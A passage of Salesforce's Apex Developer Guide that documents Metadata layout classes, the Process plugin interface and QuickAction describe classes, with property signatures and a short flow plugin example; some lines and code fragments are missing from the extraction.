Unique development name of a report that includes a chart.
Signature
public String reportName {get; set;}
Property Value
Type: String
showTitle
If true, applies the title from the report to the chart.
Signature
public Boolean showTitle {get; set;}
Property Value
Type: Boolean
size
Size of the displayed chart. The default is medium.
Signature
public Metadata.ReportChartComponentSize size {get; set;}
Property Value
Type: Metadata.ReportChartComponentSize
ReportChartComponentLayoutItem Methods
The following are methods for ReportChartComponentLayoutItem.
2095
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.ReportChartComponentLayoutItem.
clone()
Makes a duplicate copy of the Metadata.ReportChartComponentLayoutItem.
Signature
Return Value
Type: Object
ReportChartComponentSize Enum
Describes the size of the displayed report chart component.
Enum Values
The following are the values of the Metadata.ReportChartComponentSize enum.
Value Description
LARGE Large chart size.
MEDIUM Medium chart size.
SMALL Small chart size.
SidebarComponent Class
Represents a specific custom console component to display in a container that hosts multiple components in one of the sidebars of the
Salesforce console.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “SidebarComponent” in the
IN THIS SECTION:
SidebarComponent Properties
SidebarComponent Methods
2096
SidebarComponent Properties
The following are properties for SidebarComponent.
IN THIS SECTION:
componentType
Specifies the component type. Valid values are “KnowledgeOne”, “Lookup”, “Milestones”, “RelatedList”, “Topics”, “Files”, and
“CaseExperts”.
height
The height of the component in the container. The unit property determines the unit of measurement, in pixels or percent.
knowledgeOneEnable
Indicates if the component is enabled for Knowledge One.
label
The name of the component as it displays to console users. Available for components in a container with the style of tabs or accordion.
lookup
If the component is a lookup field, the name of the field.
page_x
If the component is a Visualforce page, the name of the Visualforce page.
relatedLists
If the component is a related list component, the list of related list names.
unit
The unit of measurement (pixels or percent) for the height and width of the component in the container.
width
The width of the component in the container. The unit property determines the unit of measurement, in pixels or percent.
componentType
Specifies the component type. Valid values are “KnowledgeOne”, “Lookup”, “Milestones”, “RelatedList”, “Topics”, “Files”, and “CaseExperts”.
Signature
public String componentType {get; set;}
Property Value
Type: String
height
The height of the component in the container. The unit property determines the unit of measurement, in pixels or percent.
Signature
2097
Property Value
Type: Integer
knowledgeOneEnable
Indicates if the component is enabled for Knowledge One.
Signature
public Boolean knowledgeOneEnable {get; set;}
Property Value
Type: Boolean
label
The name of the component as it displays to console users. Available for components in a container with the style of tabs or accordion.
Signature
Property Value
Type: String
lookup
If the component is a lookup field, the name of the field.
Signature
public String lookup {get; set;}
Property Value
Type: String
page_x
If the component is a Visualforce page, the name of the Visualforce page.
Signature
Property Value
Type: String
2098
relatedLists
If the component is a related list component, the list of related list names.
Signature
public List<Metadata.RelatedList> relatedLists {get; set;}
Property Value
Type: List<Metadata.RelatedList>
unit
The unit of measurement (pixels or percent) for the height and width of the component in the container.
Signature
public String unit {get; set;}
Property Value
Type: String
width
The width of the component in the container. The unit property determines the unit of measurement, in pixels or percent.
Signature
Property Value
Type: Integer
SidebarComponent Methods
The following are methods for SidebarComponent.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.SidebarComponent.
clone()
Makes a duplicate copy of the Metadata.SidebarComponent.
Signature
2099
Return Value
Type: Object
SortOrder Enum
Describes the sort order of a related list.
Enum Values
The following are the values of the Metadata.SortOrder enum.
Value Description
Asc_x Sort in ascending order.
Desc_x Sort in descending order.
SubtabComponents Class
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “SubtabComponents” in the
IN THIS SECTION:
SubtabComponents Properties
SubtabComponents Methods
SubtabComponents Properties
The following are properties for SubtabComponents.
IN THIS SECTION:
component
containers
Represents a location and style in which to display more than one custom console component on the sidebars of the Salesforce
console.
2100
component
Signature
public List<Metadata.ConsoleComponent> component {get; set;}
Property Value
Type: List<Metadata.ConsoleComponent>
containers
Represents a location and style in which to display more than one custom console component on the sidebars of the Salesforce console.
Signature
public List<Metadata.Container> containers {get; set;}
Property Value
Type: List<Metadata.Container>
SubtabComponents Methods
The following are methods for SubtabComponents.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.SubtabComponents.
clone()
Makes a duplicate copy of the Metadata.SubtabComponents.
Signature
Return Value
Type: Object
SummaryLayoutStyleEnum Enum
Describes the highlights panel style for a SummaryLayout.
2101
Enum Values
The following are the values of the Metadata.SummaryLayoutStyleEnum enum.
Value Description
CaseInteraction Case interaction style.
ChildServiceReportTemplateStyle Child service report template style.
DefaultQuoteTemplate Default quote template style.
DefaultServiceReportTemplate Default service report style
Default_x Default style.
PathAssistant Path assisstant style.
QuickActionLayoutLeftRight Quick action left-right layout style.
QuickActionLayoutTopDown Quick action top-down layout style.
QuoteTemplate Quote template style.
ServiceReportTemplate Service report style.
SummaryLayout Class
Controls the appearance of the highlights panel, which summarizes key fields in a grid at the top of a page layout, when Case Feed is
enabled.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “SummaryLayout” in the
IN THIS SECTION:
SummaryLayout Properties
SummaryLayout Methods
SummaryLayout Properties
The following are properties for SummaryLayout.
IN THIS SECTION:
masterLabel
The name of the layout label.
2102
sizeX
Number of columns in the highlights pane, between 1 and 4 (inclusive).
sizeY
Number of rows in each column, either 1 or 2.
sizeZ
If provided, the setting is not visible to users.
summaryLayoutItems
enabled. At least one is required.
summaryLayoutStyle
Specifies the panel style.
masterLabel
The name of the layout label.
Signature
public String masterLabel {get; set;}
Property Value
Type: String
sizeX
Number of columns in the highlights pane, between 1 and 4 (inclusive).
Signature
public Integer sizeX {get; set;}
Property Value
Type: Integer
sizeY
Number of rows in each column, either 1 or 2.
Signature
public Integer sizeY {get; set;}
Property Value
Type: Integer
2103
sizeZ
If provided, the setting is not visible to users.
Signature
public Integer sizeZ {get; set;}
Property Value
Type: Integer
summaryLayoutItems
enabled. At least one is required.
Signature
public List<Metadata.SummaryLayoutItem> summaryLayoutItems {get; set;}
Property Value
Type: List<Metadata.SummaryLayoutItem>
summaryLayoutStyle
Specifies the panel style.
Signature
public Metadata.SummaryLayoutStyleEnum summaryLayoutStyle {get; set;}
Property Value
Type: Metadata.SummaryLayoutStyleEnum
SummaryLayout Methods
The following are methods for SummaryLayout.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.SummaryLayout.
clone()
Makes a duplicate copy of the Metadata.SummaryLayout.
2104
Signature
Return Value
Type: Object
SummaryLayoutItem Class
enabled. You can have two fields per each grid in a highlights panel.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “SummaryLayoutItem” in the
IN THIS SECTION:
SummaryLayoutItem Properties
SummaryLayoutItem Methods
SummaryLayoutItem Properties
The following are properties for SummaryLayoutItem.
IN THIS SECTION:
customLink
field
The field name reference, relative to the page layout. Must be a standard or custom field that also exists on the detail page.
posX
The item's column position in the highlights panel grid. Must be within the range of sizeX.
posY
The item's row position in the highlights panel grid. Must be within the range of sizeY.
posZ
Reserved for future use. If provided, the setting is not visible to users.
customLink
2105
Signature
public String customLink {get; set;}
Property Value
Type: String
field
The field name reference, relative to the page layout. Must be a standard or custom field that also exists on the detail page.
Signature
Property Value
Type: String
posX
The item's column position in the highlights panel grid. Must be within the range of sizeX.
Signature
public Integer posX {get; set;}
Property Value
Type: Integer
posY
The item's row position in the highlights panel grid. Must be within the range of sizeY.
Signature
public Integer posY {get; set;}
Property Value
Type: Integer
posZ
Reserved for future use. If provided, the setting is not visible to users.
Signature
public Integer posZ {get; set;}
2106
Apex Developer Guide Process Namespace
Property Value
Type: Integer
SummaryLayoutItem Methods
The following are methods for SummaryLayoutItem.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.SummaryLayoutItem.
clone()
Makes a duplicate copy of the Metadata.SummaryLayoutItem.
Signature
Return Value
Type: Object
UiBehavior Enum
Describes the behavior for a layout item on a layout page.
Enum Values
The following are the values of the Metadata.UiBehavior enum.
Value Description
Edit The layout field can be edited but is not required.
Readonly The layout field is read-only.
Required The layout field can be edited and is required.
Process Namespace
The Process namespace provides an interface and classes for passing data between your organization and a flow.
The following are the interfaces and classes in the Process namespace.
IN THIS SECTION:
Plugin Interface
Allows you to pass data between your organization and a specified flow.
2107
PluginDescribeResult Class
Describes the input and output parameters for Process.PluginResult.
PluginDescribeResult.InputParameter Class
Describes the input parameter for Process.PluginResult.
PluginDescribeResult.OutputParameter Class
Describes the output parameter for Process.PluginResult.
PluginRequest Class
Passes input parameters from the class that implements the Process.Plugin interface to the flow.
PluginResult Class
Returns output parameters from the class that implements the Process.Plugin interface to the flow.
Plugin Interface
Allows you to pass data between your organization and a specified flow.
Namespace
Process
IN THIS SECTION:
Plugin Methods
Plugin Example Implementation
Plugin Methods
The following are instance methods for Plugin.
IN THIS SECTION:
describe()
Returns a Process.PluginDescribeResult object that describes this method call.
invoke(request)
Primary method that the system invokes when the class that implements the interface is instantiated.
describe()
Returns a Process.PluginDescribeResult object that describes this method call.
2108
Signature
public Process.PluginDescribeResult describe()
Return Value
Type: Process.PluginDescribeResult
invoke(request)
Primary method that the system invokes when the class that implements the interface is instantiated.
Signature
public Process.PluginResult invoke(Process.PluginRequest request)
Parameters
request
Type: Process.PluginRequest
Return Value
Type: Process.PluginResult
Plugin Example Implementation

global class flowChat implements Process.Plugin {
// The main method to be implemented. The Flow calls this at run time.

FeedItem fItem = new FeedItem();
fItem.ParentId = UserInfo.getUserId();
fItem.Body = 'Force.com flow Update: ' + subject;
insert fItem;
// return to Flow
}
// Returns the describe information for the interface

result.Name = 'flowchatplugin';
result.Tag = 'chat';
2109
};
result.outputParameters = new
List<Process.PluginDescribeResult.OutputParameter>{ };
return result;
}
}
Test Class
The following is a test class for the above class.
@isTest
private class flowChatTest {
static testmethod void flowChatTests() {
flowChat plugin = new flowChat();


plugin.invoke(request);
}
}
PluginDescribeResult Class
Describes the input and output parameters for Process.PluginResult.
Namespace
Process
IN THIS SECTION:
PluginDescribeResult Constructors
PluginDescribeResult Properties
2110
PluginDescribeResult Constructors
The following are constructors for PluginDescribeResult.
IN THIS SECTION:
PluginDescribeResult()
Creates a new instance of the Process.PluginDescribeResult class.
PluginDescribeResult()
Creates a new instance of the Process.PluginDescribeResult class.
Signature
public PluginDescribeResult()
PluginDescribeResult Properties
The following are properties for PluginDescribeResult.
IN THIS SECTION:
description
This optional field describes the purpose of the plug-in.
inputParameters
The input parameters passed by the Process.PluginRequest class from a flow to the class that implements the
Process.Plugin interface.
name
Unique name of the plug-in.
outputParameters
The output parameters passed by the Process.PluginResult class from the class that implements the Process.Plugin
interface to the flow.
tag
With this optional field, you can group plug-ins by tag name so they appear together in the Apex plug-in section of the Palette
within the Flow Designer. This is helpful if you have multiple plug-ins in your flow.
description
Signature
Property Value
Type: String
2111
Usage
Size limit: 255 characters.
inputParameters
The input parameters passed by the Process.PluginRequest class from a flow to the class that implements the
Process.Plugin interface.
Signature
public List<Process.PluginDescribeResult.InputParameter> inputParameters {get; set;}
Property Value
Type: List<Process.PluginDescribeResult.InputParameter>
name
Signature
Property Value
Type: String
Usage
outputParameters
The output parameters passed by the Process.PluginResult class from the class that implements the Process.Plugin
interface to the flow.
Signature
public List<Process.PluginDescribeResult.OutputParameter> outputParameters {get; set;}
Property Value
Type: List<Process.PluginDescribeResult.OutputParameter>
tag
With this optional field, you can group plug-ins by tag name so they appear together in the Apex plug-in section of the Palette within
the Flow Designer. This is helpful if you have multiple plug-ins in your flow.
2112
Signature
public String tag {get; set;}
Property Value
Type: String
Usage
PluginDescribeResult.InputParameter Class
Describes the input parameter for Process.PluginResult.
Namespace
Process
IN THIS SECTION:
PluginDescribeResult.InputParameter Constructors
PluginDescribeResult.InputParameter Properties
PluginDescribeResult.InputParameter Constructors
The following are constructors for PluginDescribeResult.InputParameter.
IN THIS SECTION:
PluginDescribeResult.InputParameter(name, description, parameterType, required)
Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name,
description, parameter type, and required option.
PluginDescribeResult.InputParameter(name, parameterType, required)
parameter type, and required option.
PluginDescribeResult.InputParameter(name, description, parameterType, required)

description, parameter type, and required option.
2113
Signature
public PluginDescribeResult.InputParameter(String name, String description,
Process.PluginDescribeResult.ParameterType parameterType, Boolean required)
Parameters
name
Type: String
description
Type: String
Describes the purpose of the plug-in.
parameterType
Type: Process.PluginDescribeResult.ParameterType
The data type of the input parameter.
required
Type: Boolean
Set to true for required and false otherwise.
PluginDescribeResult.InputParameter(name, parameterType, required)

parameter type, and required option.
Signature
public PluginDescribeResult.InputParameter(String name,
Process.PluginDescribeResult.ParameterType parameterType, Boolean required)
Parameters
name
Type: String
parameterType
required
Type: Boolean
PluginDescribeResult.InputParameter Properties
The following are properties for PluginDescribeResult.InputParameter.
2114
IN THIS SECTION:
Description
Name
ParameterType
Required
Description
Signature
public String Description {get; set;}
Property Value
Type: String
Usage
Name
Signature
public String Name {get; set;}
Property Value
Type: String
Usage
ParameterType
Signature
public Process.PluginDescribeResult.ParameterType ParameterType {get; set;}
2115
Property Value
Required
Signature
public Boolean Required {get; set;}
Property Value
Type: Boolean
PluginDescribeResult.OutputParameter Class
Describes the output parameter for Process.PluginResult.
Namespace
Process
IN THIS SECTION:
PluginDescribeResult.OutputParameter Constructors
PluginDescribeResult.OutputParameter Properties
PluginDescribeResult.OutputParameter Constructors
The following are constructors for PluginDescribeResult.OutputParameter.
IN THIS SECTION:
PluginDescribeResult.OutputParameter(name, description, parameterType)
Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name,
description, and parameter type.
PluginDescribeResult.OutputParameter(name, parameterType)
2116
PluginDescribeResult.OutputParameter(name, description, parameterType)

Signature
public PluginDescribeResult.OutputParameter(String name, String description,
Process.PluginDescribeResult.ParameterType parameterType)
Parameters
name
Type: String
description
Type: String
Describes the purpose of the plug-in.
parameterType
PluginDescribeResult.OutputParameter(name, parameterType)
Signature
public PluginDescribeResult.OutputParameter(String name,
Process.PluginDescribeResult.ParameterType parameterType)
Parameters
name
Type: String
parameterType
PluginDescribeResult.OutputParameter Properties
The following are properties for PluginDescribeResult.OutputParameter.
2117
IN THIS SECTION:
Description
Name
ParameterType
Description
Signature
public String Description {get; set;}
Property Value
Type: String
Usage
Name
Signature
public String Name {get; set;}
Property Value
Type: String
Usage
ParameterType
Signature
public Process.PluginDescribeResult.ParameterType ParameterType {get; set;}
2118
Property Value
PluginRequest Class
Passes input parameters from the class that implements the Process.Plugin interface to the flow.
Namespace
Process
PluginRequest Properties
The following are properties for PluginRequest.
IN THIS SECTION:
inputParameters
Input parameters that are passed from the class that implements the Process.Plugin interface to the flow.
inputParameters
Input parameters that are passed from the class that implements the Process.Plugin interface to the flow.
Signature
public MAP<String,ANY> inputParameters {get; set;}
Property Value
PluginResult Class
Returns output parameters from the class that implements the Process.Plugin interface to the flow.
2119
Apex Developer Guide QuickAction Namespace
Namespace
Process
PluginResult Properties
The following are properties for PluginResult.
IN THIS SECTION:
outputParameters
Output parameters returned from the class that implements the interface to the flow.
outputParameters
Output parameters returned from the class that implements the interface to the flow.
Signature
public MAP<String, ANY> outputParameters {get; set;}
Property Value
QuickAction Namespace
The QuickAction namespace provides classes and methods for quick actions.
The following are the classes in the QuickAction namespace.
IN THIS SECTION:
Contains describe metadata information for a quick action that is available for a specified parent.
Represents the smallest unit in a layout—a field or a separator.
Represents an individual item in a QuickAction.DescribeLayoutRow.
Represents a row in a QuickAction.DescribeLayoutSection.
Represents a section of a layout and consists of one or more columns and one or more rows (an array of
QuickAction.DescribeLayoutRow).
Returns a default value for a quick action.
Contains describe metadata information for a quick action.
2120
QuickActionDefaults Class
Represents an abstract Apex class that provides the context for running the standard Email Action on Case Feed and the container
of the Email Message fields for the action payload. You can override the target fields before the standard Email Action is rendered.
QuickActionDefaultsHandler Interface
The QuickAction.QuickActionDefaultsHandler interface lets you specify the default values for the standard Email
Action on Case Feed. You can use this interface to specify the From address, CC address, BCC address, subject, and email body for
the Email Action in Case Feed. You can use the interface to pre-populate these fields based on the context where the action is
displayed, such as the case origin (for example, country) and subject.
Use the QuickAction.QuickActionRequest class for providing action information for quick actions to be performed by
QuickAction class methods. Action information includes the action name, context record ID, and record.
After you initiate a quick action with the QuickAction class, use the QuickActionResult class for processing action
results.
SendEmailQuickActionDefaults Class
Represents an Apex class that provides: the From address list; the original email’s email message ID, provided that the reply action
was invoked on the email message feed item; and methods to specify related settings on templates. You can override these fields
before the standard Email Action is rendered.
Contains describe metadata information for a quick action that is available for a specified parent.
Namespace
QuickAction
Usage
The QuickAction describeAvailableQuickActions method returns an array of available quick action describe result objects
(QuickAction.DescribeAvailableQuickActionResult).
DescribeAvailableQuickActionResult Methods
The following are methods for DescribeAvailableQuickActionResult. All are instance methods.
IN THIS SECTION:
getActionEnumOrId()
Returns the unique ID for the action. If the action doesn’t have an ID, its API name is used.
getLabel()
The quick action label.
getName()
The quick action name.
getType()
The quick action type.
2121
getActionEnumOrId()
Signature
public String getActionEnumOrId()
Return Value
Type: String
getLabel()
The quick action label.
Signature
public String getLabel()
Return Value
Type: String
getName()
The quick action name.
Signature
Return Value
Type: String
getType()
The quick action type.
Signature
public String getType()
Return Value
Type: String
Represents the smallest unit in a layout—a field or a separator.
2122
Namespace
QuickAction
DescribeLayoutComponent Methods
The following are methods for DescribeLayoutComponent. All are instance methods.
IN THIS SECTION:
getDisplayLines()
Returns the vertical lines displayed for a field. Applies to textarea and multi-select picklist fields.
getTabOrder()
Returns the tab order for the item in the row.
getType()
Returns the name of the QuickAction.DescribeLayoutComponent type for this component.
getValue()
Returns the name of the field if the type for QuickAction.DescribeLayoutComponent is textarea.
getDisplayLines()
Returns the vertical lines displayed for a field. Applies to textarea and multi-select picklist fields.
Signature
public Integer getDisplayLines()
Return Value
Type: Integer
getTabOrder()
Returns the tab order for the item in the row.
Signature
public Integer getTabOrder()
Return Value
Type: Integer
getType()
Returns the name of the QuickAction.DescribeLayoutComponent type for this component.
Signature
2123
Return Value
Type: String
getValue()
Returns the name of the field if the type for QuickAction.DescribeLayoutComponent is textarea.
Signature
Return Value
Type: String
Represents an individual item in a QuickAction.DescribeLayoutRow.
Namespace
QuickAction
Usage
For most fields on a layout, there is only one component per layout item. However, in a display-only view, the
QuickAction.DescribeLayoutItem might be a composite of the individual fields (for example, an address can consist of
street, city, state, country, and postal code data). On the corresponding edit view, each component of the address field would be split
up into separate QuickAction.DescribeLayoutItems.
DescribeLayoutItem Methods
The following are methods for DescribeLayoutItem. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the label text for this item.
getLayoutComponents()
Returns a list of QuickAction.DescribeLayoutComponents for this item.
isEditable()
Indicates whether this item can be edited (true) or not (false).
isPlaceholder()
Indicates whether this item is a placeholder (true) or not (false). If true, then this item is blank.
isRequired()
Indicates whether this item is required (true) or not (false).
2124
getLabel()
Returns the label text for this item.
Signature
Return Value
Type: String
getLayoutComponents()
Returns a list of QuickAction.DescribeLayoutComponents for this item.
Signature
public List<QuickAction.DescribeLayoutComponent> getLayoutComponents()
Return Value
Type: List<QuickAction.DescribeLayoutComponent>
isEditable()
Indicates whether this item can be edited (true) or not (false).
Signature
public Boolean isEditable()
Return Value
Type: Boolean
isPlaceholder()
Indicates whether this item is a placeholder (true) or not (false). If true, then this item is blank.
Signature
public Boolean isPlaceholder()
Return Value
Type: Boolean
isRequired()
Indicates whether this item is required (true) or not (false).
2125
Signature
public Boolean isRequired()
Return Value
Type: Boolean
Usage
This is useful if, for example, you want to render required fields in a contrasting color.
Represents a row in a QuickAction.DescribeLayoutSection.
Namespace
QuickAction
Usage
A QuickAction.DescribeLayoutRow consists of one or more QuickAction.DescribeLayoutItem objects. For
each QuickAction.DescribeLayoutRow, a QuickAction.DescribeLayoutItem refers either to a specific field or
to an “empty” QuickAction.DescribeLayoutItem (one that contains no QuickAction.DescribeLayoutComponent
objects). An empty QuickAction.DescribeLayoutItem can be returned when a given
QuickAction.DescribeLayoutRow is sparse (for example, containing more fields on the right column than on the left column).
DescribeLayoutRow Methods
The following are methods for DescribeLayoutRow. All are instance methods.
IN THIS SECTION:
getLayoutItems()
Returns either a specific field or an empty QuickAction.DescribeLayoutItem (one that contains no
QuickAction.DescribeLayoutComponent objects).
getNumItems()
Returns the number of QuickAction.DescribeLayoutItem.
getLayoutItems()
Returns either a specific field or an empty QuickAction.DescribeLayoutItem (one that contains no
QuickAction.DescribeLayoutComponent objects).
Signature
public List<QuickAction.DescribeLayoutItem> getLayoutItems()
2126
Return Value
Type: List<QuickAction.DescribeLayoutItem>
getNumItems()
Returns the number of QuickAction.DescribeLayoutItem.
Signature
public Integer getNumItems()
Return Value
Type: Integer
Represents a section of a layout and consists of one or more columns and one or more rows (an array of
QuickAction.DescribeLayoutRow).
Namespace
QuickAction
DescribeLayoutSection Properties
The following are properties for DescribeLayoutSection.
collapsed
The current view of the record details section: collapsed (true) or expanded (false).
Signature
public Boolean collapsed {get; set;}
Property Value
Type: Boolean
layoutsectionid
The unique ID of the record details section in the layout.
Signature
public Id layoutsectionid {get; set;}
2127
Property Value
Type: Id
DescribeLayoutSection Methods
The following are methods for DescribeLayoutSection.
IN THIS SECTION:
getColumns()
Returns the number of columns in the QuickAction.DescribeLayoutSection.
getHeading()
The heading text (label) for the QuickAction.DescribeLayoutSection.
getLayoutRows()
Returns an array of one or more QuickAction.DescribeLayoutRow objects.
getLayoutSectionId()
Returns the ID of the record details section in the layout.
getParentLayoutId()
Returns the ID of the layout upon which this DescribeLayoutSection resides.
getRows()
Returns the number of rows in the QuickAction.DescribeLayoutSection.
isCollapsed()
Indicates whether the record details section is collapsed (true) or expanded (false). If you build your own app, you can use this
method to see whether the current user collapsed a section, and respect that preference in your own UI.
isUseCollapsibleSection()
Indicates whether the QuickAction.DescribeLayoutSection is a collapsible section (true) or not (false).
isUseHeading()
Indicates whether to use the heading (true) or not (false).
getColumns()
Returns the number of columns in the QuickAction.DescribeLayoutSection.
Signature
public Integer getColumns()
Return Value
Type: Integer
getHeading()
The heading text (label) for the QuickAction.DescribeLayoutSection.
2128
Signature
public String getHeading()
Return Value
Type: String
getLayoutRows()
Returns an array of one or more QuickAction.DescribeLayoutRow objects.
Signature
public List<QuickAction.DescribeLayoutRow> getLayoutRows()
Return Value
Type: List<QuickAction.DescribeLayoutRow>
getLayoutSectionId()
Returns the ID of the record details section in the layout.
Signature
public Id getLayoutSectionId()
Return Value
Type: Id
getParentLayoutId()
Returns the ID of the layout upon which this DescribeLayoutSection resides.
Signature
public Id getParentLayoutId()
Return Value
Type: Id
getRows()
Returns the number of rows in the QuickAction.DescribeLayoutSection.
Signature
public Integer getRows()
2129
Return Value
Type: Integer
isCollapsed()
Indicates whether the record details section is collapsed (true) or expanded (false). If you build your own app, you can use this
method to see whether the current user collapsed a section, and respect that preference in your own UI.
Signature
public Boolean isCollapsed()
Return Value
Type: Boolean
isUseCollapsibleSection()
Indicates whether the QuickAction.DescribeLayoutSection is a collapsible section (true) or not (false).
Signature
public Boolean isUseCollapsibleSection()
Return Value
Type: Boolean
isUseHeading()
Indicates whether to use the heading (true) or not (false).
Signature
public Boolean isUseHeading()
Return Value
Type: Boolean
Returns a default value for a quick action.
Namespace
QuickAction
2130
Usage
Represents the default values of fields to use in default layouts.
DescribeQuickActionDefaultValue Methods
The following are methods for DescribeQuickActionDefaultValue. All are instance methods.
IN THIS SECTION:
getDefaultValue()
Returns the default value of the quick action.
getField()
Returns the field name of the action.
getDefaultValue()
Returns the default value of the quick action.
Signature
public String getDefaultValue()
Return Value
Type: String
getField()
Returns the field name of the action.
Signature
public String getField()
Return Value
Type: String
Contains describe metadata information for a quick action.
Namespace
QuickAction
2131
Usage
The QuickAction describeQuickActions method returns an array of quick action describe result objects
(QuickAction.DescribeQuickActionResult).
IN THIS SECTION:
DescribeQuickActionResult Properties
DescribeQuickActionResult Methods
DescribeQuickActionResult Properties
The following are properties for DescribeQuickActionResult.
IN THIS SECTION:
canvasapplicationname
The name of the Force.com Canvas application invoked by the custom action.
colors
Array of color information. Each color is associated with a theme.
contextsobjecttype
The object used for the action. Was getsourceSobjectType() in API version 29.0 and earlier.
defaultvalues
The action’s default values.
flowdevname
If the custom action invokes a flow, the fully qualified name of the flow.
flowrecordidvar
If the custom action invokes a flow, the input variable that the custom action passes the record’s ID to.
height
The height in pixels of the action pane.
iconname
The name of the icon used for the action. If a custom icon is not used, this value isn’t set.
icons
Array of icons. Each icon is associated with a theme.
iconurl
The URL of the icon used for the action. This icon URL corresponds to the 32x32 icon used for the current Salesforce theme, introduced
in Spring ’10, or the custom icon, if there is one.
layout
The section of the layout where the action resides.
lightningcomponentbundleid
If the custom action invokes a Lightning component, the ID of the Lightning component bundle to which the component belongs.
lightningcomponentbundlename
If the custom action invokes a Lightning component, the name of the Lightning component bundle to which the component
belongs.
2132
lightningcomponentqualifiedname
The fully qualified name of the Lightning component invoked by the custom action.
miniiconurl
The icon’s URL. This icon URL corresponds to the 16x16 icon used for the current Salesforce theme, introduced in Spring ’10, or the
custom icon, if there is one.
showquickactionlcheader
Indicates whether the Lightning component quick action header and footer are shown. If false, then both the header containing
the quick action title and the footer containing the Save and Cancel buttons aren’t displayed.
showquickactionvfheader
Indicates whether the Visualforce quick action header and footer should be shown. If false, then both the header containing the
quick action title and the footer containing the Save and Cancel buttons aren’t displayed.
targetparentfield
The parent object type of the action. Links the target object to the parent object. For example, the value is Account if the target
object is Contact and the parent object is Account.
targetrecordtypeid
The record type of the target record.
targetsobjecttype
The action’s target object type.
visualforcepagename
The name of the Visualforce page associated with the custom action.
visualforcepageurl
The URL of the Visualforce page associated with the action.
width
The width in pixels of the action pane, for custom actions that call Visualforce pages, Canvas apps, or Lightning components.
canvasapplicationname
The name of the Force.com Canvas application invoked by the custom action.
Signature
public String canvasapplicationname {get; set;}
Property Value
Type: String
colors
Array of color information. Each color is associated with a theme.
Signature
public List<Schema.DescribeColorResult> colors {get; set;}
2133
Property Value
Type: List<Schema.DescribeColorResult> on page 2283
contextsobjecttype
The object used for the action. Was getsourceSobjectType() in API version 29.0 and earlier.
Signature
public String contextsobjecttype {get; set;}
Property Value
Type: String
defaultvalues
The action’s default values.
Signature
public List<QuickAction.DescribeQuickActionDefaultValue> defaultvalues {get; set;}
Property Value
Type: List<QuickAction.DescribeQuickActionDefaultValue>
flowdevname
If the custom action invokes a flow, the fully qualified name of the flow.
Signature
public String flowdevname {get; set;}
Property Value
Type: String
flowrecordidvar
If the custom action invokes a flow, the input variable that the custom action passes the record’s ID to.
Signature
public String flowrecordidvar {get; set;}
Property Value
Type: String
2134
Valid values are null or recordId.
height
The height in pixels of the action pane.
Signature
Property Value
Type: Integer
iconname
The name of the icon used for the action. If a custom icon is not used, this value isn’t set.
Signature
public String iconname {get; set;}
Property Value
Type: String
icons
Array of icons. Each icon is associated with a theme.
Signature
public List<Schema.DescribeIconResult> icons {get; set;}
Property Value
Type: List<Schema.DescribeIconResult on page 2305>
If no custom icon was associated with the quick action and the quick action creates a specific object, the icons will correspond to the
icons used for the created object. For example, if the quick action creates an Account, the icon array will contain the icons used for
Account.
If a custom icon was associated with the quick action, the array will contain that custom icon.
iconurl
The URL of the icon used for the action. This icon URL corresponds to the 32x32 icon used for the current Salesforce theme, introduced
in Spring ’10, or the custom icon, if there is one.
Signature
public String iconurl {get; set;}
2135
Property Value
Type: String
layout
The section of the layout where the action resides.
Signature
public QuickAction.DescribeLayoutSection layout {get; set;}
Property Value
Type: QuickAction.DescribeLayoutSection on page 2127
lightningcomponentbundleid
If the custom action invokes a Lightning component, the ID of the Lightning component bundle to which the component belongs.
Signature
public String lightningcomponentbundleid {get; set;}
Property Value
Type: String
lightningcomponentbundlename
If the custom action invokes a Lightning component, the name of the Lightning component bundle to which the component belongs.
Signature
public String lightningcomponentbundlename {get; set;}
Property Value
Type: String
lightningcomponentqualifiedname
The fully qualified name of the Lightning component invoked by the custom action.
Signature
public String lightningcomponentqualifiedname {get; set;}
Property Value
Type: String
2136
miniiconurl
The icon’s URL. This icon URL corresponds to the 16x16 icon used for the current Salesforce theme, introduced in Spring ’10, or the
custom icon, if there is one.
Signature
public String miniiconurl {get; set;}
Property Value
Type: String
showquickactionlcheader
Indicates whether the Lightning component quick action header and footer are shown. If false, then both the header containing the
Signature
public Boolean showquickactionlcheader {get; set;}
Property Value
Type: Boolean
showquickactionvfheader
Indicates whether the Visualforce quick action header and footer should be shown. If false, then both the header containing the
Signature
public Boolean showquickactionvfheader {get; set;}
Property Value
Type: Boolean
targetparentfield
The parent object type of the action. Links the target object to the parent object. For example, the value is Account if the target object
is Contact and the parent object is Account.
Signature
public String targetparentfield {get; set;}
Property Value
Type: String
2137
targetrecordtypeid
The record type of the target record.
Signature
public String targetrecordtypeid {get; set;}
Property Value
Type: String
targetsobjecttype
The action’s target object type.
Signature
public String targetsobjecttype {get; set;}
Property Value
Type: String
visualforcepagename
The name of the Visualforce page associated with the custom action.
Signature
public String visualforcepagename {get; set;}
Property Value
Type: String
visualforcepageurl
The URL of the Visualforce page associated with the action.
Signature
public String visualforcepageurl {get; set;}
Property Value
Type: String
width
The width in pixels of the action pane, for custom actions that call Visualforce pages, Canvas apps, or Lightning components.
2138
Signature
Property Value
Type: Integer
DescribeQuickActionResult Methods
The following are methods for DescribeQuickActionResult. All are instance methods.
IN THIS SECTION:
getActionEnumOrId()
getCanvasApplicationName()
Returns the name of the Canvas application, if used.
getColors()
Returns an array of color information. Each color is associated with a theme.
getContextSobjectType()
Returns the object used for the action. Replaces getsourceSobjectType() in API version 30.0 and later.
getDefaultValues()
Returns the default values for a action.
getFlowDevName()
If the custom action invokes a flow, returns the fully qualified name of the flow invoked by the custom action.
getFlowRecordIdVar()
If the custom action invokes a flow, returns the input variable that the custom action passes the record’s ID to.
getHeight()
Returns the height in pixels of the action pane.
getIconName()
Returns the actions’ icon name.
getIconUrl()
Returns the URL of the 32x32 icon used for the action.
